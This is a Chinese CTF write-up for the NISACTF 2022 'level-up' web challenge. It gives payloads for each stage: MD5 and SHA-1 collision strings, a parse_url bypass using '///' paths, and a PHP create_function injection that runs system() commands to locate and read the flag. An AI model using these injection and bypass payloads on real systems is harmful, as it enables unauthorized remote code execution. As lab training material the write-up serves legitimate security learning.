目录

[NISACTF 2022]level-up

目录

[NISACTF 2022]level-up

先做目录扫描:

https://pic.imgdb.cn/item/655789e9c458853aef7cb628.jpg

扫目录扫到 /robots.txt ,访问后获得目录:level_2_1s_h3re.php ,继续访问:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);

// 包含 "str.php" 文件的内容
include "str.php";

// 检查 POST 请求中是否设置了 'array1' 和 'array2'
if (isset($_POST['array1']) && isset($_POST['array2'])){
    // 检索并将 'array1' 和 'array2' 的值转换为字符串
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];

    // 检查 'array1' 和 'array2' 的值是否相等
    if ($a1 == $a2){
        // 如果相等,终止执行并显示 "????"
        die("????");
    }

    // 检查 'array1' 和 'array2' 的 MD5 哈希是否相等
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }
}
else{
    show_source(__FILE__);
}
?>

让两个内容不同的变量的 MD5 值相等(强比较类型),有两种办法:

  1. 两个变量为内容不同的数组
  2. MD5 碰撞

md5() 处理数组会返回 NULL ,NULL===NULL 为 true

由于这段代码的存在导致不能用第一种办法:

1
2
3
// 检索并将 'array1' 和 'array2' 的值转换为字符串
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];

数组转成字符串会变成 “Array”,就会使代码执行到 die("????");

https://pic.imgdb.cn/item/65578d62c458853aef8eac00.jpg

所以只能使用 MD5 碰撞,任选两个传给 ‘array1’ 参数和 ‘array2’ 参数

下面的任意两组字符串内容不同,但 MD5 结果相同:

1
2
3
4
5
%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

https://pic.imgdb.cn/item/65578ea9c458853aef94e483.jpg

得到线索 Level___3.php ,访问:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);

// 包含 "str.php" 文件的内容
include "str.php";

// 检查 POST 请求中是否设置了 'array1' 和 'array2'
if (isset($_POST['array1']) && isset($_POST['array2'])){
    // 检索并将 'array1' 和 'array2' 的值转换为字符串
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];

    // 检查 'array1' 和 'array2' 的值是否相等
    if ($a1 == $a2){
        die("????");
    }

    // 检查 'array1' 和 'array2' 的 SHA-1 哈希是否相等
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

同理,使用 SHA1 碰撞:

1
2
3
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

https://pic.imgdb.cn/item/65578fdec458853aef9a700f.jpg

得到线索 level_level_4.php ,访问:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);

// 包含 "str.php" 文件的内容
include "str.php";

show_source(__FILE__);

// 解析当前请求的 URL
$str = parse_url($_SERVER['REQUEST_URI']);

// 如果查询字符串为空,则输出 "give me a parameter"
if($str['query'] == ""){
    echo "give me a parameter";
}

// 使用正则表达式检查查询字符串是否包含黑名单的字符
if(preg_match('/ |_|20|5f|2e|\./', $str['query'])){
    die("blacklist here");
}

// 检查 $_GET['NI_SA_'] 是否等于 "txw4ever"
if($_GET['NI_SA_'] === "txw4ever"){
    die($level5);
}
else{
    die("level 4 failed ...");
}
?>

parse_url($_SERVER['REQUEST_URI']) 用于解析给定的 URL ,并返回其组成部分:

  • $_SERVER['REQUEST_URI']:获取当前请求的 URL ,包括路径和提交的参数
  • parse_url():用于解析一个 URL 字符串,并返回其组成部分。它将 URL 拆分成多个部分比如 scheme(协议)host(主机)path(路径)query(提交的参数)

相关实验

https://pic.imgdb.cn/item/65579452c458853aefaf0f9e.jpg

要满足的条件:

  1. 必须提交参数
  2. 提交参数的那部分不能包含:_ (空格) .
  3. 用 GET 给参数 NI_SA_txw4ever

想让代码执行 die($level5); 正常来说为:?NI_SA_=txw4ever,但是会触发正则:/ |_|20|5f|2e|\./

如果参数名只有一个_,可以用[来绕过,因为路径上的第一个[会被认为是_。这里的参数名有两个_,没法用此方法绕过正则匹配

bypass:在相对路径前加上 // ,使 parse_url() 返回 false ,从而绕过正则匹配

payload:///level_level_4.php?NI_SA_=txw4ever,得到线索:55_5_55.php

相关实验

当路径为http://127.0.0.1/index.php?NI_SA_=txw4ever时:

https://pic.imgdb.cn/item/65579ae3c458853aefca6def.jpg

当路径为http://127.0.0.1///index.php?NI_SA_=txw4ever时:

https://pic.imgdb.cn/item/65579b35c458853aefcba09a.jpg

访问 55_5_55.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

$a('',$b);可以利用 create_function 注入

举例

1
create_function( '$fname' , 'echo $fname."Zhang"' )

等价于:

1
2
3
function  fT( $fname ) {
   echo  $fname . "Zhang" ;
}

/^[a-z0-9_]*$/isD:字符串的开头和结尾处要为小写字母、数字或下划线

转义符\刚好可以用来绕过正则,又不会影响到其他代码

payload:?a=\create_function&b=}system('find / -name "flag*"');//

\create_function('',}system('find / -name "flag*"');//)等价于:

1
2
3
function fT() {
   }
system('find / -name "flag*"');//}

https://pic.imgdb.cn/item/6557a5d0c458853aeff0e9b0.jpg

?a=\create_function&b=}system('cat /cpu1/domain0/flags /flag');//

https://pic.imgdb.cn/item/6557a628c458853aeff20064.jpg